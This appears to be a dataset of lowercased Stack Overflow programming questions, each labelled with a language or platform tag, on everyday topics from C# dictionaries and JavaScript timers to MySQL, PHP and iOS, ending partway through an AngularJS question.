type dictionary   has anybody heard of a  type dictionary  that uses types as keys and supports inheritance     in my application i d like to have a dictionary from types to functions  sort of like this:   <pre><code>dictionary&lt;type  func&lt;object  object&gt;&gt; transformers; </code></pre>   the idea is that it would be used to transform an object in some fashion based on its type:   <pre><code>// transform an object  obj  object result = transformers[obj.gettype()](obj) </code></pre>   an ordinary dictionary has the disadvantage that the type must match exactly. so if i ve written a transformer for ilist&lt;t>  there s no use putting it in the transformers dictionary because no object has the type ilist&lt;t> (only t[]  list&lt;t>  etc.) in other words  if obj is a list&lt;t>  the transformer for ilist&lt;t> will not be found by a lookup in an ordinary dictionary.    assuming there is no such thing as a typedictionary&lt;tvalue>  i might consider writing one if it isn t too hard. any ideas how it could be accomplished,.net
countdown timer - how to avoid resetting of timer  i have to add a countdown timer in my online testing website  but everytime i click on the next or any other button  the timer resets. what should i do to avoid that  here is the code i used   <pre><code>   &lt;span id= countdown-1 &gt;10 seconds&lt;/span&gt;    &lt;script type= text/javascript &gt;    // initialize clock countdowns by using the total seconds in the elements tag    secs       = parseint(document.getelementbyid( countdown-1 ).innerhtml 10);    settimeout( countdown( countdown-1   +secs+ )   1000);    secs       = parseint(document.getelementbyid( countdown-2 ).innerhtml 10);    settimeout( countdown( countdown-2   +secs+ )   1000);      function countdown(id  timer){     timer--;     minremain  = math.floor(timer / 60);     secsremain = new string(timer - (minremain * 60));     // pad the string with leading 0 if less than 2 chars long     if (secsremain.length &lt; 2) {         secsremain =  0  + secsremain;     }      // string format the remaining time     clock      = minremain +  :  + secsremain;     document.getelementbyid(id).innerhtml = clock;     if ( timer &gt; 0 ) {         // time still remains  call this function again in 1 sec         settimeout( countdown(   + id +      + timer +  )   1000);     } else {         // time is out! hide the countdown       alert( time finished );      return false;         document.getelementbyid(id).style.display =  none ;     } } </code></pre>,javascript
format data with nslog()  i am simply logging a number using a for-loop.   <pre><code>for (i=0; i&lt;6; i++) {      nslog(@ %d  i); } </code></pre>   it prints the number in new line like:   <pre><code>1  2  3  4  5 </code></pre>   but i want to see it formatted on one line like 12345. how can i do this  any idea      thanks aaryan,iphone
trying to import my helpers into a custom lib/class and suddenly i need a config   real simple.   <pre><code>class template      def stuff_i_want       stylesheet_link_tag( my_stylesheet )     end      class &lt;&lt; self              include actionview::helpers::taghelper       include actionview::helpers::assettaghelper     end  end </code></pre>   and this returns..    <pre><code>undefined local variable or method `config  for template:class from /users/elephanttrip/.rvm/gems/ruby-1.9.3-p385@shasta/gems/actionpack-3.1.12/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb:137:in `stylesheet_link_tag  </code></pre>   from the <code>stylesheet_tag_helpers.rb</code> in railtie :   <pre><code>    def stylesheet_link_tag(*sources)       @stylesheet_include ||= stylesheetincludetag.new(config  asset_paths)       @stylesheet_include.include_tag(*sources)     end </code></pre>   config isn t instantiated in that file anywhere  so i m assuming its  required from somewhere else.. i have <strong>no</strong> idea where  or how.    anyone know how to inject/pass a config into my helper  i ve never needed to do this before.,ruby-on-rails
can i use name of element in javascript even   can i use name of element in javascript even      for use <code>id= xxx </code>   we use   <pre><code>$( #xxx ).prop( readonly   true); </code></pre>   and for <code>class= xxx </code>   we use   <pre><code>$( .xxx ).prop( readonly   true); </code></pre>   i want to know can we use <code>name= xxx </code> in javascript even,javascript
accessing dictionary keys using dot(.)  i can not access the dictionary keys with dot(.) but when i define a class that inherits from dict  i can access its keys using dot(.). can anybody explain it     so  when i run this code:   <pre><code>d = { first_key :1   second_key :2} d.first_key </code></pre>   i get this error:   <pre><code> dict  object has no attribute  first_key  </code></pre>   but when i run this:   <pre><code>class dotdict(dict):     pass d = dotdict() d.first_key = 1 d.second_key = 2 print(d.first_key) print(d.second_key) </code></pre>   i get this:   <pre><code>1 2 </code></pre>,python
passing values in uialertview  i need to pass 1 variable in single alert view.....for example.... i need to pass the username as  john videos deleted     i write the code as   <pre><code>    self.myalert = [[[uialertview alloc] initwithtitle:@ mnb  message:@ video deleted successfully  delegate:self cancelbuttontitle:nil otherbuttontitles:@ ok  nil] autorelease]; </code></pre>,iphone
is there any other tools like ncalc available for .net development   i am currently using <a href= http://ncalc.codeplex.com/  rel= nofollow >ncalc</a> to perform some calculation at server side and it works great  but i am interested in to knowing if there are any commerical thrid party tools available  i am more interested in excel like features  like if/else  sum  min  max not just simple arithmatic.,.net
rails check if controller index exists  is there a way to check if there exists an index action for a controller  something like:   <pre><code>controller.indexactionexists  </code></pre>   i have seen posts to check if specific routes exist  but those methods aren t working for me  since some of my index actions aren t associated with routes.,ruby-on-rails
is it possible to access speaker output in ios   i m trying to add a feature to my app that will do something on the tempo of the songs being played in the default ios music player. is this possible  does my app have access to the audio data output from another app,ios
mysql statement with using the [charlist] wildcard  trying to use this sql statement. the first 2 parts work fine  i am trying in corporate charlist so that the string its pulling cannot contain any of the letters in it   <pre><code>select * from table where length(rtrim(word)) = 8 and word like  a__c____  and word like  %[!tesp]%  group by word </code></pre>   basically i want this statement to pull up a word that is:   <ul> <li>8 letters in length</li> <li>starts with  a  and 4th letter is  c </li> <li>does not contain  t   e   s   p  in it</li> </ul>,mysql
boolean valued response in c++  please  is there a way to get boolean valued response directly from users in c++  . for instance i would like a user to answer yes or no but i do not want to store the response in a character or string variable but directly into a boolean variable. thanks.,c++
error while using  ngen install ..    i am trying to create a native image for my application usin ngen . but its showing dependency errors like    <pre><code>failed to load dependency interop.office.kmgp of assembly interop.word.kmgp   version=8.1.0.0  culture=neutral  publickeytoken=3afac4595eedae9b because of the following error : the system cannot find the file specified. (exception from hresult: 0x800 70002)  failed to load dependency interop.vbide.kmgp of assembly interop.word.kmgp   version=8.1.0.0  culture=neutral  publickeytoken=3afac4595eedae9b because of the following error : the system cannot find the file specified. (exception from hresult: 0x8007 0002)  failed to load dependency microsoft.synchronization of assembly microsoft.synchronization.files  version=0.94.0.0  culture=neutral  publickeytoken=89845dcd8080cc91 because of the following error : the located assembly s manifest definition does notmatch the assembly reference. (exception from hresult: 0x80131040)  failed to load dependency microsoft.synchronization of assembly microsoft.synchronization.metadatastorage  version=0.94.0.0  culture=neutral  publickeytoken=89845dcd8080cc91 because of the following error : the located assembly s manifest definition does not match the assembly reference. (exception from hresult: 0x80131040) </code></pre>   but the fact is   these dlls are not referred in the application . please advise   how do i get rid of this .    edited       forget about my application   whats wrong here   i am only registering only one dll .   <pre><code>    ngen install c:\vsstest\binaries\microsoft.synchronization.metadatastorage.dll /execonfig: c:\program files\abc\bin\abc.exe     microsoft (r) clr native image generator - version 4.0.30319.1 copyright (c) microsoft corporation.  all rights reserved. installing assembly c:\vsstest\binaries\microsoft.synchronization.metadatastorage.dll failed to load dependency microsoft.synchronization of assembly microsoft.synchronization.metadatastorage  version=0.94.0.0  culture=neutral  publickeytoken=89845dcd8080cc91 because of the following error : the located assembly s manifest definition  does not match the assembly reference. (exception from hresult: 0x80131040) all compilation targets are up to date. </code></pre>,.net
how do i make sure a string only a double of any length   i need a regex i think to see if a string is only a double but it can be of any length  any suggestions,java
how can i get the equivalent of c++ s  const  in c#   in c++  if i want an object to be initialized at compile time and never change thereafter  i simply add the prefix <code>const</code>.     in c#  i write    <pre><code>    // file extensions of interest     private const list&lt;string&gt; _extensionsofinterest = new list&lt;string&gt;()     {          .doc    .docx    .pdf    .png    .jpg      }; </code></pre>   and get the error   <blockquote>    a const field of a reference type other than string can only be   initialized with null  </blockquote>   then i research the error on stack overflow and the proposed  solution  is to use <code>readonlycollection&lt;t&gt;</code>. <a href= https://stackoverflow.com/questions/9952990/a-const-field-of-a-reference-type-other-than-string-can-only-be-initialized-with >a const field of a reference type other than string can only be initialized with null error</a>    but that doesn t really give me the behavior i want  because    <pre><code>    // file extensions of interest     private static readonlycollection&lt;string&gt; _extensionsofinterest = new readonlycollection&lt;string&gt;()     {          .doc    .docx    .pdf    .png    .jpg      }; </code></pre>   can still be <strong><em>reassigned</em></strong>.    so how do i do what i m trying to do      (it s amazing how c# has every language feature imgaginable  except the ones i want),c#
how to implement password protected pdf file in iphone sdk  is any one have an idea to how to implement a password protected pdf file in iphone sdk. i mean to i need to create a password pdf file from my application.please help me.    any one s help will be much appreciated.,iphone
how can i have one program fill in the form of another vb.net forms program  i have a vb.net forms program which has fields and an ok button (i call it prog1). i would like to have another vb.net program that reads data from a file  enters the data into the fields in prog1 and then presses the ok button in prog1.    is this possible   how      i know that it would be easier to do in one program but for certain reasons i am not allowed access to the code of prog1.    thank you     ( if you send me a reference to a c# program that would also be helpful ),.net
margin/ alignment in firefox/safari which fix do i use and how   the navigation bar in ** works fine in safari  however firefox is being a bit of a pain. i can see a small margin/padding difference between the two browsers  however can t quite work out why. any ideas     edit: don t worry figured it out.    font used was not rendered the same in both browsers!,css
random height with jquery  i have a problem. i want a image to appear on random heights. this is the coding:   <pre><code>$( #duck ).css({      #duck{ top: math.floor((math.random()*100)+1);%; } }); </code></pre>   can someone tell me what i need to change,jquery
setting a background color for the body of an html doc  i have an html document which has a body with many <code>&lt;p&gt;</code>  each with their own style (see below). there is also 1 image in the document. i would like a red background to appear behind all the text and the image in the body. how can i do this please    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en &gt; &lt;html&gt;  &lt;head&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;br /&gt;&lt;br /&gt;  &lt;p style= color:rgb(0 0 0);margin: 0px;font-family: helvetica  helvetica;font-size:20px; &gt;   &lt;b&gt;john dow&lt;/b&gt;  &lt;/p&gt;  &lt;p style= color:rgb(0 0 0);margin: 0px;font-family: helvetica  helvetica;font-size:20px; &gt;     123 street     cape town     8005  &lt;/p&gt;  &lt;img style= border:none; margin: 8px 0px 0px 0px;  src= https://s3.amazonaws.com/kruranimagestest/50cb6ea7-a5f8-43c7-a826-8dbd4dbc0db1.jpg  alt= image &gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
what is <meta charset= utf-8 >   what is meta charset= utf-8  system of numbers  letters  or signals used to represent something in a shorter or more convenient form: the message was written in code.,html
inovoke a method on the object passed as parameter  how do i invoke a method on an object passed as parameter  do i know the object passed  no do all of the possible objects passed have this method  yes    this is what i mean:   <pre><code>    public void setowled(obj character){     character.getisowled() = true; } </code></pre>   <code>getisowled()</code> is the common method  and <code>character</code> is the <code>object</code> passed as parameter.   <pre><code>setowled() </code></pre>   is a method of just 1 class  which should change a <code>mvariable</code> of the object passed as parameter.,java
moving uitextfield in uiview  i am using uitextfield on my uiview and need to drag uitextfield with my pointer on my uiview but its not working!! here is my code:    <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event{ [uiview beginanimations:@ move  context:nil]; [uiview setanimationduration:1]; [uiview setanimationbeginsfromcurrentstate:yes]; uitouch *touch = [[event alltouches] anyobject]; mytextfield.center = [touch locationinview:myview]; [uiview commitanimations]; }  - (void)touchesmoved:(nsset *)touches withevent:(uievent *)event{ uitouch *touch = [touches anyobject]; mytextfield.center = [touch locationinview:myview];}  - (void)touchesended:(nsset *)touches withevent:(uievent *)event{} </code></pre>,iphone
python run list of functions untill one passes  i run a  command using python in linux  and i have a several different method of verifying based on system type. my question is can i make the verify function take a list of functions instead creating all the combinations.     currently i have:   <pre><code>def verify_a(*args):     checks the commands was successful using method a  def verify_b(*args):     checks the commands was successful using method b  def run_command(*args)     runs the commands on linux terminal  no checking  def run_and_verify_a(*args):      run_command(*args)      verify_a(*args)  def run_and_verify_b(*args):     run_command(*args)     verify_b(*args)  def run_and_verify_all(*args):     run_command(*args)     if not verify_a(*args):         verify_b(*args) </code></pre>   what i want is:   <pre><code>def run_command(*args)     runs the commands on linux terminal  no checking   verify_list=[ verify_a   verify_b ]  def run_and_verify(verify_list):      run_command(*args)      for func in verify_list:          if eval(func):              print  verification passed               return true         else:              print  verification is failed... running next verify method  </code></pre>   but my run_and verify function is not working as expected..,python
altering mysql table column to be case sensitive  i have a table in my mysql database  which is used for authentication. and now  i need to make the authentication case sensitive.  googling around  i have realized mysql columns are case insensitive (contrary to oracle) for search operations and the default behavior can be changed while creating the table by specifying the  binary  ie.   <pre><code>create table users (     user_id smallint unsigned not null auto_increment      user_name varchar(50) binary not null ) </code></pre>   can someone please tell me how to alter the table in mysql to add the  binary  to an existing column of a db     thanks!,mysql
is there any way to redirect a php page if there are no variables in the url   i m trying to do something really simple but i can t figure out a way to do it. basically i have a php page that gets called like   <pre><code>file.php details=100 </code></pre>   or   <pre><code>file.php details=100&amp;page=2 </code></pre>   etc.    the problem is ...i want the page to be redirected to index.php when it gets called only as:   <pre><code>file.php </code></pre>   how would i do that  basically if there are no variables in the request  it should redirect to index.php. if there are any variables in the request  it should load normally.    thank you for any advice :),php
which is the efficient method to initialize a char * to nothing in c from the given ones   the question may seem elementary but it s about a choice. i have seen these in same code base and got a little confused over the approach.    we do an empty string initialisation so we don t get dereference error (i think).   <pre><code>static char *name=(char *)  ; </code></pre>   and majority cases i have seen this   <pre><code>static char *name=null; </code></pre>   and on rare occasions have seen this too.   <pre><code>static char *name=(char *) 0; </code></pre>   can we call any of these practices as standard and is universally recommended  if yes on what logic,c
not splitting the sentence.  i m trying to split the data i retrieve from the server database. the code goes like this.   <pre><code>&lt; php  $connect = mysql_connect( localhost   admin   admin );//username password changed  mysql_select_db( ensig ); $result = mysql_query( select field_id_1 from exp_channel_data ) or die(mysql_error());  // check for empty result if (mysql_num_rows($result) &gt; 0) {     // looping through all results     // products node     $response[ video_path ] = array();      while($row1 = mysql_fetch_array($result)){     $s1 = explode(    $row1[field_id_1]);     echo $s1;     } }  &gt; </code></pre>   the feild_id_1 contains video frame paths like iframe which contain src and path of video from which i have to extract the path like <a href= http://www.youtube.com/embed/xa-m3kepgt0  rel= nofollow >http://www.youtube.com/embed/xa-m3kepgt0</a>. the above code only displaying  array . i don t know why it is showing so. please help me on this. i m newbie to php.,php
how to run an external php script silently within a php script   for example:    content of <strong>server-a.com/test.php</strong>:   <pre><code>echo  hello world one ;  // now i need to call server-b.com/test.php here silently // without interfering with user experience  echo  hello world two ; </code></pre>  <hr>   content of <strong>server-b.com/test.php</strong>:    <code>mail($foo  $bar  $qux); header( location: http://google.com );</code>   <hr>   now running <code>server-a.com/test.php</code> should output <code>hello world one hello world two</code>. and it should not redirect to google.com even though <code>server-b.com/test.php</code> was called successfully.,php
how to retrieve repeating substrings from a string   how to explode even words in string of symbol  -   for ex.:   <pre><code>$string =  tshirt-blue-124-tshirt-blue-124-tshirt-blue-124 ; </code></pre>   or   <pre><code>$string =  333-red-333-red-333-red-333-red ; </code></pre>   i need array like this:   <pre><code>$string[0] =  tshirt-blue-124 ; $string[1] =  tshirt-blue-124 ; $string[2] =  tshirt-blue-124 ; </code></pre>   or    <pre><code> $string[0] =  333-red ;  $string[1] =  333-red ;  $string[2] =  333-red ;  $string[3] =  333-red ; </code></pre>   thanks,php
i m trying to understand the concept of pulling information off the web and into an app please!  generally speaking  how does an app like  around me  acquire the information it displays  for example: the restaurants that show up in a list that are near me with the address and distance (i think i get the distance piece) where is this information extracted from  is it google or something     i m not asking how to implement this (that s over my head!) just get an idea of how it occurs. thanks stackoverflow people.,iphone
capitalize 1 word or sentence in string inside strings.xml  in strings.xml  i know i can bold and/or italicize part of the string like so:   <pre><code>&lt;string name= my_string &gt;some string with a bunch of words &lt;b&gt;&lt;i&gt;goes here&lt;/i&gt;&lt;/b&gt;.&lt;/string&gt; </code></pre>   my question:    is there a similar way to capitalize an entire part of a string  something like:   <pre><code>&lt;string name= my_string &gt;some string with a bunch of words &lt;c&gt;goes here&lt;/c&gt;.&lt;/string&gt; </code></pre>   thanks in advance,android
hackerrank.com find-hackerrank solution on obj-c  i m trying to solve <a href= https://www.hackerrank.com/challenges/find-hackerrank  rel= nofollow noreferrer >https://www.hackerrank.com/challenges/find-hackerrank</a> on obj-c  and get ok output via xcode  but not via hackerrank s  run code  button.    xcode output:     <img src= https://i.stack.imgur.com/pr4lv.png  alt= http://monosnap.com/image/sbztetlf6wjeinpr50zpyq7g119wc7 >    hackerrank output:     <img src= https://i.stack.imgur.com/k2vwb.png  alt= http://monosnap.com/image/9wapf0q5ptyakn7oc1ipw9tbbausja >    so it is at leat strange to see different outputs.     my code:   <pre><code>#import &lt;foundation/foundation.h&gt;  int main() {     nsfilehandle *input;     nsdata *inputdata;      nsstring *match = @ hackerrank ;     int amount;     nsstring *str;      input = [nsfilehandle filehandlewithstandardinput];     inputdata = [input availabledata];     amount = [[[nsstring alloc] initwithdata:inputdata encoding:nsutf8stringencoding] intvalue];      for (int j = 0; j &lt; amount; j++)     {         inputdata = [input availabledata];          str = [[nsstring alloc] initwithdata:inputdata encoding:nsutf8stringencoding];         str = [str stringbyreplacingoccurrencesofstring:@ \n  withstring:@  ];          nsarray *redexarr = @[match                                [nsstring stringwithformat:@ ^%@.+   match]                                [nsstring stringwithformat:@ .+%@$   match]                               ];          for (int i = 2; i&gt;=-1; i--)         {             if (i &lt;= -1)             {                 printf( -1\n );             } else             {                 nspredicate *pred = [nspredicate predicatewithformat:@ self matches %@   redexarr[i]];                 if ([pred evaluatewithobject:str])                 {                     printf( %d\n   i);                     break;                 }             }         }     }     return 0; } </code></pre>   any ideas,objective-c
how to disable copy paste buttons in edittext  i am developing an app in android  i want to disable copy paste buttons onlongclick  i am using the following code:   <pre><code>edittext.setcustomselectionactionmodecallback(new callback() {          public boolean onprepareactionmode(actionmode mode  menu menu) {             return false;         }          public void ondestroyactionmode(actionmode mode) {                           }          public boolean oncreateactionmode(actionmode mode  menu menu) {             return false;         }          public boolean onactionitemclicked(actionmode mode  menuitem item) {             return false;         }     }); </code></pre>   but it is showing error as  the method setcustomselectionactionmodecallback(actionmode.callback) in the type textview is not applicable for the arguments (new actionmode.callback(){}) . i am searching for hours to get the solution. please provide me solution.,android
ios 3d touch in objective c  any one have any idea how can we implement <code>3d touch</code> feature in <code>objective c</code>  i already check the app documentation but no example is related to objective c code. <br><br>any sample code or example  how to implement   thanks in advance.,ios
variable height scrolling div  positioned relative to variable height sibling  recently i asked this question: <a href= https://stackoverflow.com/questions/4910883/overflow-scroll-100-container-height >overflow (scroll) - 100% container height</a> about how to achieve a vertically scrolling div with variable height.    a very helpful user provided a solution using absolute positioning and height:100%  here: <a href= http://jsfiddle.net/tuwej/2/  rel= nofollow noreferrer >http://jsfiddle.net/tuwej/2/</a>.  in this fiddle  you can see the basic desired behavior - the scrolling div will fill the height of the main container as is determined by the content in the  #main  element.    i modified this somewhat and used top:0 bottom:0 instead of height:100% to accommodate an element above the scrollable area.  the modified version can be seen here: <a href= http://jsfiddle.net/n6muv/3/  rel= nofollow noreferrer >http://jsfiddle.net/n6muv/3/</a> (i realize there is a little extra markup and class definitions that are empty  and an adjacent sibling combinator that appears redundant - these are vestiges of the actual structure)    everything is fine  except that i had to supply a fixed top coordinate for the scrolling div (note the top:120px declaration for the  .sidebar-list  selector).  i d like this to be relative to the  .sidebar-options  element above it  so that the options container above can have any number of options and the scrollable div will position itself appropriately.  using fixed coordinates  if any options are added or removed  either overlap occurs or unnecessary space develops - i d like to avoid this.  the exact number of options that should appear varies between views.    i had thought to wrap the scrolling div in a relatively positioned container  but doing that creates a conflict with bottom:0 no longer indicating the height of the main  .wrapper  container (which it should do).  similarly  using height:100% will use the computed height of the  .wrapper  container so the scrollable div will extend beyond the boundary of the  .wrapper .    is there a way to keep the functionality shown in the second fiddle  but with the top of the scrollable div relative to the bottom of the options div (which will be of variable height)     thanks in advance for any suggestions.    edit: s.o. asked if i wanted to start a bounty  so i did (first time) - hopefully 100 pts isn t considered too low.  still looking for a no-script  pure-css solution that doesn t involve fixed coordinates or dimensions for the y-axis (width and left assignments are ok).  thx,css
converting time_t to int64_t  i am trying to convert time_t to in64_t by doing the following.   <pre><code>time_t t = 1349388030; </code></pre>   i have an api.   <pre><code>someobj.setvalue(const int64_t)            // sets the value of someobj to the passed argument someobj.getvalue(int64_t &amp; value) const    // returns the value </code></pre>   i then execute the following.   <pre><code>someobj.setvalue(t) int64_t tt; someobj.getvalue(tt) assert (tt == t)                           // fails where tt = 109726776 </code></pre>   can anyone please help with the proper casting procedure     edit:    it was bug in my code the way i was using set_value,c++
where can i find implementation details for .net classes   msdn is a great resource for how to use classes in the .net library  but can i find out how they re implemented internally  if so  where,.net
explaining odd behavior in javascript  i saw this on twitter and i couldn t explain it either. defining a <code>onload</code> function in the following two manner works:   <h1>1) <a href= http://jsfiddle.net/6rq9k/  rel= nofollow >jsfiddle</a></h1>  <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;script&gt;             onload = function(){                 alert( this works );             };         &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt;​ </code></pre>  <h1>2) <a href= http://jsfiddle.net/6rq9k/1/  rel= nofollow >jsfiddle</a></h1>  <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;script&gt;             window.onload = function(){                 alert( this works );             };         &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt;​ </code></pre>   but when defined like the following  it doesn t work even though it is assigned to <code>window.onload</code>    <h1>3) <a href= http://jsfiddle.net/6rq9k/2/  rel= nofollow >jsfiddle</a></h1>  <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;script&gt;             function onload(){                 alert( this doesnt work );             };             alert(window.onload); // this shows the definition of above function         &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt;​ </code></pre>   what s going on here,javascript
flash msg optional param  how can i pass an optional parameter to the flash message     i m using twitter bootstrap alert messages  and i want to add the  .alert-block  css class to the message  based on a parameter or something i set in the controller.    thanks.   <hr>   this is my solution:   <pre><code>flash[:success_block] =  &lt;h4&gt;bla blah.&lt;/h4&gt; &lt;p&gt;blah blah.&lt;/p&gt;     &lt;% flash.each do |name  msg| %&gt;    &lt;% block = true if name.to_s.split( _ ).last ==  block  %&gt;   &lt;% name = name.to_s.split( _ ).first if block %&gt;    &lt;div class= alert fade in alert-&lt;%= name %&gt; &lt;%=  alert-block  if block %&gt; &gt;     &lt;a class= close  data-dismiss= alert &gt;×&lt;/a&gt;     &lt;%= msg.html_safe %&gt;   &lt;/div&gt;  &lt;% end %&gt; </code></pre>,ruby-on-rails
displayed string outputs differently in android  i have some code that parses an html string and turns it into a regular string.     the input:    <blockquote>    lorem ipsum dolor sit amet  consectetur adipiscing elit. vivamus a   elementum nisl. cras interdum velit non ex gravida dapibus. donec   cursus tempor lacus eget finibus. donec euismod enim vitae nibh   blandit   </blockquote>   output on screen 2:   <blockquote>    lorem ipsum dolor sit amet  consectetur adipiscing elit=2e vivamus a   elem= entum nisl=2e cras interdum velit non ex gravida dapibus=2e   donec cursus tempor lacus eget finibus=2e donec euismod enim vitae   nibh blandit &nbsp;  </blockquote>   however on screen 1 the output matches the input. my question is what in my code could be causing this  i didn t write this whole app so there is a lot of code i would have to go through to find the bug so i am trying to narrow down what could be causing the difference in the two outputs.also i really have no clue why elementum becomes elem= entum  i am guessing that is a line break issue     edit: basically what would cause these two outputs to be different and how can i track it down.    edit 2: here is a secondary input output    input    <blockquote>    testing periods . then …  and now quotes “inside quotes” then ex ! @ # $ % ^ &amp; >* ( ) - _ +  = \ | [] {} ; : ‘ “   . /   &lt;> ` ~  </blockquote>   output   <blockquote>    testing periods =2e then =e2=80=a6&nbsp; and now quotes =e2=80=9cinside >q=uotes=e2=80=9d then ex ! @ # $ % ^ &amp; * ()-_+&nbsp; =3d \|[]{}; =: >=e2=80=98 =e2=80=9c   =2e /  &lt;&gt;  ~  </blockquote>   other then the &nbsp; screen 1 is the same as the input    edit 3: since i am guessing my parsing of html is causing some of the issue i will include that code since i know where to find it.   <pre><code>string bod = body.tostring();           string bod2 = cleantagperservinglinebreaks(bod);         removeextendedchars(bod2);         string bod3 = bod2.replace( =2e    \\. );         return bod3;     }      public string cleantagperservinglinebreaks(string html) {         string result =   ;         if (html == null)             return html;         document document = jsoup.parse(html);         document.outputsettings(new document.outputsettings()                 .prettyprint(false));// makes html() preserve linebreaks and         // spacing         document.select( br ).append( \\n );         document.select( p ).prepend( \\n\\n );         result = document.html().replaceall( \\\\n    \n );         result = jsoup.clean(result      whitelist.none()                  new document.outputsettings().prettyprint(false));         return result;     }      public string removeextendedchars(string str) {         return str.replaceall( [^\\x00-\\x7f]      );     } </code></pre>,android
capturing the name of a missing field in the datasource of a webcontrol  when i get this error  missing field or property x in the selected datasource   i want to  capture the error and  display the  x . how do i do it     note: the error message is translated from spanish  so i actually dont know how it s exactly in english. the original error in spanish is described as  no se encontró ningún campo o propiedad x en el origen de datos seleccionado.,.net
is it possible to play an audio file or video file during use of camera  as the question says  is it possible to play an overlay video over the camera and record it.    also  would it be possible to play an audio file while in camera mode.,iphone
use of unassigned variable  i am getting the error <code> use of unassigned variable ch  at while (ch !=  n )</code>   <pre><code>static void main(string[] args) {     char ch;      do     {         console.writeline( enter any number );          int i = convert.toint32(console.readline());          for (int j = 1; j &lt;= 200; j++)         {             int c = i * j;             console.write(     + c);              if (j % 10 == 0)                 console.writeline();         }          console.writeline( again    +  (y//n) );         ch = convert.tochar(console.readline());          if (ch ==  y  || ch ==  n )              continue;         else         {             console.writeline( invalid choice );             break;         }     } while (ch !=  n ); } </code></pre>,c#
use the variables of the one function inside another  i have two functions  as below. what i want to do is very simple. to use the variables of <br> toh2(int dsktomv int clocation  int tmplocation  int flocation) and print them inside the toh function like this:    <pre><code>cout&lt;&lt;  move one disk from the  &lt;&lt; orpeg &lt;&lt;   to the       &lt;&lt; depeg&lt;&lt; clocation &lt;&lt;  -&gt;  &lt;&lt; flocation &lt;&lt;  &lt;&lt;endl; </code></pre>   here are the two functions:    <pre><code>    void toh2(int dsktomv  int clocation  int tmplocation  int flocation) { //function to print the numbers      if( dsktomv != 0 )      {         toh2( dsktomv-1  clocation  flocation  tmplocation );    //the below print is what i want to use in the toh2 function  // cout &lt;&lt; clocation &lt;&lt;  -&gt;  &lt;&lt; flocation &lt;&lt; endl;                     toh2( dsktomv-1  tmplocation  clocation  flocation );     } }  void toh(int dsktomv  string orpeg  string expeg  string depeg)  {       if( dsktomv != 0 )      {         toh( dsktomv-1  orpeg  depeg  expeg );//original peg(a) extra peg(b) destination peg(c)      //print in this cout the two additional variables from toh2         cout&lt;&lt;  move one disk from the  &lt;&lt; orpeg &lt;&lt;   to the   &lt;&lt; depeg  &lt;&lt;endl;         toh(dsktomv-1  expeg  orpeg  depeg );     }   }           int main()         {      int c; cout &lt;&lt;  enter the number of disks:  ; cin &gt;&gt; c;  toh(c   original peg     extra peg    destination peg );  return 0;         } </code></pre>   <strong>output when entering 3</strong>:<br> move one disk from the original peg to the destination peg    move one disk from the original peg to the extra peg    move one disk from the destination peg to the extra peg    move one disk from the original peg to the destination peg    move one disk from the extra peg to the original peg    move one disk from the extra peg to the destination peg    move one disk from the original peg to the destination peg <br><br><strong>what i want to do:</strong> <br> move one disk from the original peg to the destination peg 1->3    move one disk from the original peg to the extra peg  1->2    move one disk from the destination peg to the extra peg 3->2    move one disk from the original peg to the destination peg  1->3    move one disk from the extra peg to the original peg 2->1    move one disk from the extra peg to the destination peg 2->3    move one disk from the original peg to the destination peg 1->3,c++
rewriting sql queries with group by and without having using a subquery  sql queries using <code>group by</code> that does not have a <code>having</code> clause can be rewritten using a subquery. one simple example can be the following:   <pre><code>select a.a_id  sum(b.b_count) bsum from a left join b on a.a_id = b.a_id group by a.a_id  select a.a_id   (     select sum(b.b_count) bsum     from b      where a.a_id = b.a_id ) from a </code></pre>   can you give me an example when it can not be done  i mean when a <code>group by</code> sql query without <code>having</code> can not be rewritten using subquery behind <code>select</code>,sql
a proper wrapper for console.log with correct line number   i m now developing an application  and place a global <code>isdebug</code> switch. i would like to wrap <code>console.log</code> for more convenient usage.   <pre><code>//isdebug controls the entire site. var isdebug = true;  //debug.js function debug(msg  level){     var global = this;     if(!(global.isdebug &amp;&amp; global.console &amp;&amp; global.console.log)){         return;     }     level = level|| info ;     global.console.log(level +  :  + msg); }  //main.js debug( here is a msg. ); </code></pre>   then i get this result in firefox console.   <pre><code>info: here is a msg.                       debug.js (line 8) </code></pre>   what if i want to log with line number where <code>debug()</code> gets called  like <code>info: here is a msg.      main.js (line 2)</code>,javascript
property of a property not being set   i have ojtest.h containing:   <pre><code>@property (nonatomic) int testval; </code></pre>   in viewcontroller.h:   <pre><code>#import  ojtest.h   @property (strong  nonatomic) ojtest *testobject; </code></pre>   in viewcontroller.m:   <pre><code>-(void)viewdidload  {  [super viewdidload];  self.testobject.testval = 100; nslog(@ %i   self.testobject.testval);   } </code></pre>   yet the console prints 0. what am i missing/misunderstanding,objective-c
how to filter a list using the dropdown selected index using angularjs   i have a list of data  and grouped that data depends on category. in a drop down that shows that category name. when i select a particular category  then it will shows only that category list. if i select  all category  then it will show all category list.<br> please see the below link and code.<br><br> <a href= http://plnkr.co/edit/gnkqput2owtfkxxytwpy  rel= nofollow >http://plnkr.co/edit/gnkqput2owtfkxxytwpy</a> <br><br>   <pre><code>var app = angular.module( plunker   []);  app.controller( mainctrl   function($scope) { $scope.locationlist = [ {  tid :  2440    name :  alfredo s pizzeria    field_location_category : [    food and dining  ] }  {  tid :  2441    name :  allegro dining room    field_location_category : [    food and dining  ] }  {  tid :  2443    name :  art gallery    field_location_category : [    gifts &amp; memories  ] }  {  tid :  2435    name :  bellini s    field_location_category : [    entertainment/bars  ] }  {  tid :  2498    name :  bullseye    field_location_category : [    pools  sports &amp; spa  ] } ]; var indexedloc = [];         $scope.locationlisttofilter = function(){             indexedloc = [];             return $scope.locationlist;          }          $scope.filterlocation = function(loc){             var locationisnew = indexedloc.indexof(loc.field_location_category[0]) == -1;             if(locationisnew){                 indexedloc.push(loc.field_location_category[0]);                                 }             return locationisnew;         }            